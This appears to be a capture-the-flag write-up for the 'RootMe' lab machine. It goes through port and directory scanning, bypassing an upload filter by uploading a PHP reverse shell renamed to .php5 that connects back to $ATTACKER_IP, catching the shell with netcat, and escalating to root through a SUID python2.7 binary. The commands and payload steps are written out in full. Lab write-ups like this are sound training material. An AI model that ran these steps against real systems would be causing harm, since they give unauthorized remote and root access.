RootMe is a Linux machine with a vulnerable file upload function on a web application. The attack chain consists of three phases: enumerating the web application, bypassing a file upload filter to plant a reverse shell, and escalating privileges via a misconfigured SUID binary (python2.7) to gain root access.
---
Starting with a broad port scan across all 65535 ports to avoid missing any service running on a non-standard port.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Two open ports: SSH and HTTP. Running a targeted scan against these ports for version info and default scripts.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80 $TARGET_IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 46:41:39:c0:62:fb:77:48:3f:36:d4:ff:7f:c3:9e:27 (RSA)
| 256 69:e8:6e:da:3e:1e:53:77:71:d9:2f:5c:c8:25:15:61 (ECDSA)
|_ 256 d1:e4:eb:2f:57:a9:f4:9b:6f:98:07:02:89:09:29:46 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
The web server runs Apache 2.4.41 on Ubuntu. The PHPSESSID cookie confirms the server is running PHP — useful for a potential PHP shell later. SSH has no credentials yet, so the first target is the web application on port 80.
---
!Pasted image 20260913093116.png
The homepage shows a simple "HackIT" page with minimal content. Running directory brute-force to discover hidden paths.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://$TARGET_IP/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 318] [--> http://$TARGET_IP/uploads/]
/css (Status: 301) [Size: 314] [--> http://$TARGET_IP/css/]
/js (Status: 301) [Size: 313] [--> http://$TARGET_IP/js/]
/panel (Status: 301) [Size: 316] [--> http://$TARGET_IP/panel/]
/server-status (Status: 403)
===============================================================
Finished
===============================================================
Two interesting directories: /panel/ and /uploads/. This is a classic setup for a file upload vulnerability — /panel/ likely hosts an upload form, and /uploads/ is where uploaded files land. If we can upload a PHP file and trigger it via /uploads/, we get code execution on the server.
---
!Pasted image 20260913094555.png
/panel/ contains an upload form. Uploading a .php reverse shell directly is blocked by an extension filter. However, Apache can execute several alternative PHP extensions that filters commonly overlook, such as .php5 and .phtml.
The PentestMonkey PHP reverse shell comes pre-installed on Kali. Copy and rename it to bypass the filter:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php5
Edit the attacker IP and port in the file (around line 49):
$ip = '$ATTACKER_IP'; // tun0 IP
$port = 4444;
After uploading via /panel/, the server confirms the upload with "O arquivo foi upado com sucesso!" — Portuguese for "The file was uploaded successfully." The file is now accessible at /uploads/shell.php5.
The bypass worked because the filter only blocks .php but not .php5 — Apache treats both as executable PHP.
---
Set up a listener before triggering the shell:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
Trigger the shell by navigating to the uploaded file in the browser:
http://$TARGET_IP/uploads/shell.php5
The connection comes in:
connect to [192.168.133.223] from (UNKNOWN) [10.129.128.253] 45430
Linux ip-10-129-128-253 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
07:54:29 up 30 min, 0 users, load average: 0.00, 0.02, 0.07
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Running as www-data. Upgrading to a stable interactive TTY:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ip-10-129-128-253:/$ ^Z
[1]+ Stopped nc -nlvp 4444
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
nc -nlvp 4444
www-data@ip-10-129-128-253:/$ export TERM=xterm
Retrieve the user flag:
www-data@ip-10-129-128-253:/$ find / -name user.txt 2>/dev/null
/var/www/user.txt
www-data@ip-10-129-128-253:/$ cat /var/www/user.txt
$USER_FLAG
---
Searching for SUID binaries — files that run with the permissions of their owner (root) rather than the executing user. A misconfigured SUID binary can be abused to spawn a root shell.
www-data@ip-10-129-128-253:/$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python2.7
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/bin/mount
/bin/su
/bin/fusermount
/bin/umount
[...]
/usr/bin/python2.7 stands out immediately — an interpreter with SUID is highly unusual. Checking GTFOBins: Python with SUID can be used to spawn a shell that preserves the effective UID (root) using the -p flag.
www-data@ip-10-129-128-253:/$ python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
euid=0 confirms root access. The -p flag prevents the shell from dropping the effective UID on startup, which is what gives us root.
---
.php is blocked but .php5 is not — Apache executes both as PHP. When an upload filter blocks .php, always try alternative extensions: .php3, .php4, .php5, .phtml, .pHp.python2.7 with SUID gives a direct root shell. Always check for unusual SUID binaries with find / -perm -u=s -type f 2>/dev/null and look them up on GTFOBins./uploads/ as an attack vector: Whenever you find an upload form alongside a directory where files are served, code execution via file upload is the first thing to attempt — especially when the server runs PHP.---